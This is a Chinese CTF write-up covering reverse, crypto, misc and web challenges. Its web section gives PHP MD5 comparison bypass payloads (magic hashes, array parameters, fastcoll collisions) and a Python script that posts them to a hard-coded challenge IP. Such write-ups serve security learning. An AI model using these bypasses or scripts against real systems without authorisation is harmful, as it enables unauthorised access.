0x00 Reverse
simplecheck
下载下来发现是个 zip 文件,打开后发现是 apk,用 jeb 载入并反编译
发现 a
是验证函数,跟入
转成 C 语言,各个位独立,暴力解出 flag
0x01 Crypto
streamgame1
根据 R=int(flag[5:-1],2)
以及 len(flag)==25
推测 flag 为 19 个二进制位,暴力解出 flag 即可
streamgame2
和上题一样,根据 R=int(flag[5:-1],2)
以及 len(flag)==27
推测 flag 为 21 个二进制位,暴力解出 flag 即可
streamgame4
和上题一样,根据 R=int(flag[5:-1],2)
以及 len(flag)==27
推测 flag
为 21 个二进制位,这里只验证 key 前 16 个字节,暴力解出 flag 即可
0x02 Misc
welcome
下载下来发现是 dib 文件,用 16 进制编辑器打开,发现前 2 个字节是 BM
重命名为 bmp 后用 StegSolve 打开。用 Stereogram Solver 偏移量 offset
为 80 后发现 flag
0x03 Web
Web 签到
第一关网页源码的提示人如下。可用 PHP 弱类型过掉,param1=QNKCDZO
、param2=s878926199a
:
if($_POST['param1']!=$_POST['param2'] && md5($_POST['param1'])==md5($_POST['param2'])){
die("success!");
}
第二关将等于换成了全等于,传进去一个数组即可,使 md5()
的结果为 null
。param1[]=123
、param2[]=456
。
if($_POST['param1']!==$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
die("success!");
}
第三关网页源码如下。由于使用了强制类型转换,传递对象则会转换为对象名称,因此只能使用 MD5 相等的字符串。使用 fastcoll 根据同一个文件生成了两个内容有差异,但 MD5 相同的文件 f1、f2,使用文件的二进制内容作为 param1、param2 参数。
if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
die("success!);
}
使用脚本如下:
import requests
session = requests.Session()
step1 = session.post("http://39.107.33.96:10000", data={
"param1": "QNKCDZO",
"param2": "s878926199a"
})
step2 = session.post("http://39.107.33.96:10000", data={
"param1[]": "123",
"param2[]": "456",
})
step3 = session.post("http://39.107.33.96:10000", data={
"param1": open('f1', 'rb').read(),
"param2": open('f2', 'rb').read()
})
print(step3.content)

本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。